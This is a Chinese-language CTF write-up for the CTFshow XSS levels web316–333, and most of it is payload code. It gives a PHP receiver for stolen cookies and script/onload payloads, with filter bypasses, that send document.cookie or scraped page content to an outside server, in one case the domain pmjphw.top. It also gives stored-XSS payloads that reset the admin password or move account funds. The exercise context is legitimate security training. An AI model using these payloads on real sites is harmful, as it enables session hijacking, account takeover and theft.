目录
先在自己的服务器写上代码
php
<?php
$content = $_GET[1];
if(isset($content)){
file_put_contents('flag.txt','$content');
}else{
echo 'no data input';
}
要拿到管理员的cookie , 而不是自己的
web316
<script>document.location.href="[ip]/x.php?1="+document.cookie</script>
web317~319
有了过滤
<body οnlοad="window.location.href='http://[ip]/x.php?1='+document.cookie">
web320~326
过滤了空格
<body/οnlοad="window.location.href='[ip]/x.php?1='+document.cookie">
web327
存储型xss
在信的内容那里输入
<script>document.location.href='http://pmjphw.top/x.php?1='+document.cookie\</script>
web328
注册的地方
注册一个密码为XSS Payload
<script>document.location.href='[ip]?1='+document.cookie</script>
就可以在自己的服务器上得到 管理员的cookie
在网页上将自己的cookie换掉 就可以进入到用户管理界面了 ,里面存在flag
但是一进入到里面就会跳转, 只能看到一瞬间的flag , 所以还需要进行抓包查看
多抓包了几次 , 搞了一下, 好像也进入到这个界面了, 没有跳转
web329
用上一个方法拿cookie的话没有用, 已经失效了,登录不上
直接拿内容
<script>$('.laytable-cell-1-0-1').each(function(index,value){if(value.innerHTML.indexOf('ctf'+'show{')>-1) {window.location.href='[ip]/x.php?1='+value.innerHTML;}});</script>
web330
有一个修改密码的模块
在修改密码的那里 写入xss payload
<script>window.location.href='http://127.0.0.1/api/change.php?p=123';</script>
然后 admin / 123 登录
然后进入到用户管理界面
速度快一点, 两秒左右就会跳转走
web331
在注册的用户名处写入 xss payload
<script>$.ajax({url:'api/change.php',type:'post',data:{p:'123'}});</script>
然后 admin / 123 登录
web332
先注册一个123的用户登录
然后再注册一个 xss payload 的用户
123的用户就可以收到钱了
<script>$.ajax({url:'api/amount.php',type:'post',data:{u:'123',a:'10000'}});</script>
web333
跟上一题一样
<script>$.ajax({url:'api/amount.php',type:'post',data:{u:'123',a:'10000'}});</script>
CTFSHOW-XSS - Boogiepop Doesn't Laugh
ctfshow-XSS篇 - 简书
https://juejin.cn/post/7083663044865163277